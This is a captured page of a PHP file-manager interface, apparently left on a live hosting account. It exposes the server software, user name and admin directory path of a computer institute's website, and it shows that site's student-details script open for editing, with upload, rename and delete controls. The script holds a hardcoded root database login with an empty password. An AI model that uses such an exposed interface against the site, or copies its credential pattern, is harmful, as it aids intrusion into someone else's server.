Enhanced PHP File Manager

⬆️ Go Up (..)

📊 Server Information

Server:

LiteSpeed

System:

Linux 5.14.0-503.34.1.el9_5.x86_64

PHP Version:

8.2.30

User:

u329947844

Directory:

/home/u329947844/domains/vasancomputer.com/public_html/admin

Free Space:

10.3 TB

🔧 Quick Actions

✏️ Editing: student-save.php

<?php
// student-get.php
// =============================================
// Vasan Computers - Get Student Details (AJAX)
// =============================================

session_start();

// Check if user is logged in
if (!isset($_SESSION['user_id'])) {
    http_response_code(401);
    echo 'Unauthorized';
    exit;
}

// Check if ID is provided
if (!isset($_GET['id']) || !is_numeric($_GET['id'])) {
    http_response_code(400);
    echo 'Invalid student ID';
    exit;
}

$student_id = (int)$_GET['id'];

// Database connection
$host = 'localhost';
$dbname = 'u329947844_vasan_computer';
$username = 'root';
$password = '';

try {
    $pdo = new PDO("mysql:host=$host;dbname=$dbname;charset=utf8", $username, $password);
    $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
    
    // Get student details
    $stmt = $pdo->prepare("
        SELECT s.*, 
               COUNT(e.id) as total_courses,
               SUM(CASE WHEN e.status = 'completed' THEN 1 ELSE 0 END) as completed_courses
        FROM students s
        LEFT JOIN enrollments e ON s.id = e.student_id
        WHERE s.id = ?
        GROUP BY s.id
    ");
    $stmt->execute([$student_id]);
    $student = $stmt->fetch();
    
    if (!$student) {
        echo '<div class="alert alert-danger">Student not found</div>';
        exit;
    }
    
    // Get enrolled courses
    $courses_stmt = $pdo->prepare("
        SELECT c.course_name, c.duration, c.fee, e.enrollment_date, e.status, e.progress
        FROM enrollments e
        JOIN courses c ON e.course_id = c.id
        WHERE e.student_id = ?
        ORDER BY e.enrollment_date DESC
    ");
    $courses_stmt->execute([$student_id]);
    $enrolled_courses = $courses_stmt->fetchAll();
    
    // Get payment history
    $payments_stmt = $pdo->prepare("
        SELECT * FROM payments 
        WHERE student_id = ? 
        ORDER BY payment_date DESC 
        LIMIT 5
    ");
    $payments_stmt->execute([$student_id]);
    $payments = $payments_stmt->fetchAll();
    
    ?>
    
    
    <div class="container-fluid px-0">
        
        <div class="d-flex align-items-center gap-3 mb-4">
            <div class="user-avatar-initials" style="width: 60px; height: 60px; font-size: 24px;">
                <?php echo strtoupper(substr($student['full_name'], 0, 1)); ?>
            </div>
            <div>
                <h4 class="mb-1"><?php echo htmlspecialchars($student['full_name']); ?></h4>
                <p class="text-secondary mb-0">
                    <span class="badge bg-primary me-2">Reg: <?php echo htmlspecialchars($student['registration_no']); ?></span>
                    <span class="badge bg-<?php echo $student['status'] == 'active' ? 'success' : 'secondary'; ?>">
                        <?php echo ucfirst($student['status']); ?>
                    </span>
                </p>
            </div>
        </div>
        
        
        <div class="row g-3 mb-4">
            <div class="col-md-6">
                <div class="bg-light p-3 rounded-3">
                    <small class="text-secondary d-block">Email</small>
                    <div class="fw-semibold">
                        <i class="bi bi-envelope me-2 text-primary"></i>
                        <?php echo htmlspecialchars($student['email']); ?>
                    </div>
                </div>
            </div>
            <div class="col-md-6">
                <div class="bg-light p-3 rounded-3">
                    <small class="text-secondary d-block">Phone</small>
                    <div class="fw-semibold">
                        <i class="bi bi-telephone me-2 text-primary"></i>
                        <?php echo htmlspecialchars($student['phone']); ?>
                    </div>
                </div>
            </div>
            <div class="col-md-6">
                <div class="bg-light p-3 rounded-3">
                    <small class="text-secondary d-block">Date of Birth</small>
                    <div class="fw-semibold">
                        <i class="bi bi-calendar me-2 text-primary"></i>
                        <?php echo $student['dob'] ? date('d M Y', strtotime($student['dob'])) : 'Not provided'; ?>
                    </div>
                </div>
            </div>
            <div class="col-md-6">
                <div class="bg-light p-3 rounded-3">
                    <small class="text-secondary d-block">Gender</small>
                    <div class="fw-semibold">
                        <i class="bi bi-gender-<?php echo $student['gender'] ?? 'ambiguous'; ?> me-2 text-primary"></i>
                        <?php echo $student['gender'] ? ucfirst($student['gender']) : 'Not provided'; ?>
                    </div>
                </div>
            </div>
            <div class="col-md-6">
                <div class="bg-light p-3 rounded-3">
                    <small class="text-secondary d-block">Batch</small>
                    <div class="fw-semibold">
                        <i class="bi bi-clock me-2 text-primary"></i>
                        <?php echo ucfirst($student['batch'] ?? 'Morning'); ?> Batch
                    </div>
                </div>
            </div>
            <div class="col-md-6">
                <div class="bg-light p-3 rounded-3">
                    <small class="text-secondary d-block">Registration Date</small>
                    <div class="fw-semibold">
                        <i class="bi bi-calendar-check me-2 text-primary"></i>
                        <?php echo date('d M Y', strtotime($student['registration_date'])); ?>
                    </div>
                </div>
            </div>
            <?php if (!empty($student['address'])): ?>
            <div class="col-12">
                <div class="bg-light p-3 rounded-3">
                    <small class="text-secondary d-block">Address</small>
                    <div class="fw-semibold">
                        <i class="bi bi-geo-alt me-2 text-primary"></i>
                        <?php echo nl2br(htmlspecialchars($student['address'])); ?>
                    </div>
                </div>
            </div>
            <?php endif; ?>
        </div>
        
        
        <h5 class="mb-3">Enrolled Courses</h5>
        <?php if (!empty($enrolled_courses)): ?>
            <div class="table-responsive mb-4">
                <table class="table table-sm">
                    <thead>
                        <tr>
                            <th>Course</th>
                            <th>Duration</th>
                            <th>Enrolled On</th>
                            <th>Progress</th>
                            <th>Status</th>
                        </tr>
                    </thead>
                    <tbody>
                        <?php foreach ($enrolled_courses as $course): ?>
                        <tr>
                            <td><?php echo htmlspecialchars($course['course_name']); ?></td>
                            <td><?php echo htmlspecialchars($course['duration']); ?></td>
                            <td><?php echo date('d M Y', strtotime($course['enrollment_date'])); ?></td>
                            <td>
                                <div class="d-flex align-items-center gap-2">
                                    <div class="progress flex-grow-1" style="height: 5px;">
                                        <div class="progress-bar bg-<?php echo $course['progress'] >= 75 ? 'success' : ($course['progress'] >= 40 ? 'primary' : 'warning'); ?>" 
                                             style="width: <?php echo $course['progress'] ?? 0; ?>%"></div>
                                    </div>
                                    <small><?php echo $course['progress'] ?? 0; ?>%</small>
                                </div>
                            </td>
                            <td>
                                <span class="badge bg-<?php echo $course['status'] == 'active' ? 'success' : 'secondary'; ?>">
                                    <?php echo ucfirst($course['status']); ?>
                                </span>
                            </td>
                        </tr>
                        <?php endforeach; ?>
                    </tbody>
                </table>
            </div>
        <?php else: ?>
            <p class="text-secondary mb-4">No courses enrolled yet.</p>
        <?php endif; ?>
        
        
        <?php if (!empty($payments)): ?>
        <h5 class="mb-3">Recent Payments</h5>
        <div class="table-responsive">
            <table class="table table-sm">
                <thead>
                    <tr>
                        <th>Date</th>
                        <th>Amount</th>
                        <th>Payment Mode</th>
                        <th>Status</th>
                    </tr>
                </thead>
                <tbody>
                    <?php foreach ($payments as $payment): ?>
                    <tr>
                        <td><?php echo date('d M Y', strtotime($payment['payment_date'])); ?></td>
                        <td>₹<?php echo number_format($payment['amount'], 2); ?></td>
                        <td><?php echo ucfirst($payment['payment_mode'] ?? 'Cash'); ?></td>
                        <td>
                            <span class="badge bg-<?php echo $payment['status'] == 'completed' ? 'success' : 'warning'; ?>">
                                <?php echo ucfirst($payment['status'] ?? 'Pending'); ?>
                            </span>
                        </td>
                    </tr>
                    <?php endforeach; ?>
                </tbody>
            </table>
        </div>
        <?php endif; ?>
        
        
        <div class="d-flex justify-content-end gap-2 mt-4">
            <button type="button" class="btn btn-outline-secondary btn-sm" onclick="editStudent(<?php echo $student['id']; ?>)">
                <i class="bi bi-pencil me-1"></i>Edit
            </button>
            <button type="button" class="btn btn-outline-primary btn-sm" onclick="window.open('generate-id-card.php?id=<?php echo $student['id']; ?>', '_blank')">
                <i class="bi bi-card-text me-1"></i>ID Card
            </button>
            <button type="button" class="btn btn-outline-success btn-sm" onclick="addEnrollment(<?php echo $student['id']; ?>)">
                <i class="bi bi-plus-circle me-1"></i>Add Course
            </button>
        </div>
    </div>
    
    <?php
    
} catch (PDOException $e) {
    echo '<div class="alert alert-danger">Database error: ' . htmlspecialchars($e->getMessage()) . '</div>';
}
?>

❌ Cancel

🗂️ Enhanced PHP File Manager

📊 Server Information

🔧 Quick Actions

✏️ Editing: student-save.php

📤 Upload File

📁 Create Folder

📄 Create File

✏️ Rename Item

🗑️ Delete Confirmation